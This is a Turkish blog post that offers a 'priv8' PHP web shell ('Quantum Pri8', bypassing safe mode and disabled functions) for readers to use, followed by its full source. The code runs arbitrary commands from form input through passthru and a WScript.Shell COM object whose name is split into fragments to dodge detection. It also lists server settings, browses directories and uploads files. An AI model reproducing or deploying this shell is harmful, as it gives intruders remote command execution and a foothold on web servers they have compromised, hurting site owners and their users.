merhaba arkadaşlar bu gün priv8 shell ile bir paylaşım yaptım iyi günlerde kullanın
.....................................................
_______________________________________
ALTTAKİDE EDİLMİŞ HALİ
________________________________________

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml”&gt;
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Quantum Pri8 ( Windows eXecuter ByPass SafeMode & DisableFunction )</title>
</head>

<body>

<style type=”text/css”>
<!–
body, table{font-family:Verdana; font-size:12px;}
table {background-color:#d6d6d6; border-width:0px;}
b {font-family:Arial; font-size:15px;}
a{text-decoration:none;}
–>
</style>
<table border=”4″ width=”100%” id=”table1″ style=”border: 1px line #FFCC99″ cellspacing=”0″ cellpadding=”0″ height=”220″>
<tr align=”center” bgcolor=”#d6d6d6″>

<td align=”center” valign=”top” style=”border: 1px line #FFCC66″><center><font face=”Comic Sans MS” size=”1″</font><b>In The Name Of The God</b> <br> Quantum Digital Security Team<br>Quantum Pri8 ( Windows eXecuter ByPass SafeMode & DisableFunction )<br>=========================================================<br>Coded bY Pejvak<br>=========================================================</center>
<?php
echo “OS : “;echo php_uname();

echo “<br>Disable Functions : “;
if(”==($df=@ini_get(‘disable_functions’))){echo “None”;}else{echo “$df <br>”;}

$dirfile=”$file_to_download”;

if (file_exists(“$dirfile”))
{
header(“location: $dirfile”);
}
echo(“<br>”);

if (@ini_get(“safe_mode”) or strtolower(@ini_get(“safe_mode”)) == “on”)
{
$safemode = true;
$hsafemode = “<font color=\”red\”>ON (Secure)</font>”;

}

else {$safemode = false; $hsafemode = “OFF (Not Secure)”;}
echo(“Safe Mode: $hsafemode”);

if ($_GET['action'] == “phpinfo”) {
echo $phpinfo=(!eregi(“phpinfo”,$dis_func)) ? phpinfo() : “phpinfo() bị cấm”;
exit;
}
$v = @ini_get(“open_basedir”);
if ($v or strtolower($v) == “on”) {$openbasedir = true; $hopenbasedir = “.$v.”;}
else {$openbasedir = false; $hopenbasedir = “OFF (Not Secure)”;}
echo(“<br>”);
echo(“Open Base Dir: $hopenbasedir”);
echo(“<br>”);
echo “PostgreSql: “;
$pg_on = @function_exists(‘pg_connect’);
if($pg_on){echo “ON”;}else{echo “OFF”;}
echo(“<br>”);
echo “MsSql: “;
$mssql_on = @function_exists(‘mssql_connect’);
if($mssql_on){echo “ON”;}else{echo “OFF”;}
echo(“<br>”);
echo “MySql: “;
$mysql_on = @function_exists(‘mysql_connect’);
if($mysql_on){
echo “ON”; } else { echo “OFF>”; }
echo(“<br>”);
echo “PHP version: “.@phpversion();
echo(“<br>”);
echo “Curl: “.(($curl_on)?(“ON”):(“OFF”));

?>
</tr>

<table border=”4″ width=”100%” id=”table1″ style=”border: 1px line #FFCC99″ cellspacing=”0″ cellpadding=”0″ height=”40″>
<tr align=”center” bgcolor=”#d6d6d6″>

<td width=”79%” rowspan=”3″ align=”center” valign=”top” style=”border: 1px line #FFCC66″> <?php
if (isset($_GET['dir']))
{
$current_dir = realpath($_GET['dir']).”/”;
}
else
{
$current_dir = ‘./’;
}
echo(“<b>Directory</b>”);
echo(“<br>”);

echo wordwrap(realpath($current_dir));?>
</tr>

<table border=”4″ width=”100%” id=”table1″ style=”border: 1px line #FFCC99″ cellspacing=”0″ cellpadding=”0″ height=”100″>
<tr align=”center” bgcolor=”#d6d6d6″>

<td align=”center” valign=”top” style=”border: 1px line #FFCC66″><center><font face=”Comic Sans MS” size=”1″</font><form enctype=”multipart/form-data” method=”post”>
<?php
$self = $_SERVER['PHP_SELF'];
$docr = $_SERVER['DOCUMENT_ROOT'];
$sern = $_SERVER['SERVER_NAME'];
$tend = “</tr></form></table><br><br><br><br>”;
if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
else {$ac = “shell”;}
echo <<<HTML
<b>Command</b>
<table>
<form action=”$self” method=”POST”>
<input type=”hidden” name=”ac” value=”shell”>
<tr><td> Execute Via Function <input size=”97″ type=”text” name=”c2″><input align=”right” type=”submit” value=”eXecute”>
<tr><td> Execute Via Quantum <input size=”97″ type=”text” name=”c”><input align=”right” type=”submit” value=”eXecute”>
</td></tr>
<tr><td>
<textarea cols=”100″ rows=”20″>
HTML;
if (!empty($_POST['c2'])){
passthru($_POST['c2']);
};
$wsh = new COM(‘W’.'Scr’.'ip’.'t.she’.'ll’) or die(“PHP Create COM WSHSHELL failed”);
$exec = $wsh->exec (“cm”.”d.e”.”xe /c “.$_POST['c'].”");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
echo “</textarea></td>”;

?>
<table border=”4″ width=”100%” id=”table1″ style=”border: 1px line #FFCC99″ cellspacing=”0″ cellpadding=”0″ height=”100″>
<tr align=”center” bgcolor=”#d6d6d6″>

<td align=”center” valign=”top” style=”border: 1px line #FFCC66″><center><font face=”Comic Sans MS” size=”1″</font><form enctype=”multipart/form-data” method=”post”>

<b> Uploader</b><br>
<input type=”file” name=”file” size=”50″><br>
<font style=”font-size: 5pt”>&nbsp;</font><br>
<input type=”submit” value=”Upload”> <br>
&nbsp;</p></center>

<?php

function check_file()
{
global $file_name, $filename;
$backupstring = “copy_of_”;
$filename = $backupstring.”$filename”;

if( file_exists($filename))
{
check_file();
}
}

if(!empty($file))
{
$filename = $file_name;
if( file_exists($file_name))
{
check_file();
echo “<p align=center>[Qn2 Digital Security Team]</p>”;
}

else
{
copy($file,”$filename”);
if( file_exists($filename))
{
echo “<p align=center>LoL !!! File Up Shodd</p>”;
}
elseif(! file_exists($filename))
{
echo “<p align=center>‎</p>”;
}
}
}?>
</tr>
<table border=”4″ width=”100%” id=”table1″ style=”border: 1px line #FFCC99″ cellspacing=”0″ cellpadding=”0″ height=”15″>
<tr align=”center” bgcolor=”#d6d6d6″>
<?
echo(“<br>”);
echo(“SpeciaL TnX : Nashenas,Neo,R3d.w0rm And All Members Quantum Digital Security Team “);
echo(“<br>”);

echo(“WwW.Qn2.OrG”);
?> </tr>
</body>
</html>

0 yorum:

Yorum Gönder

 
Top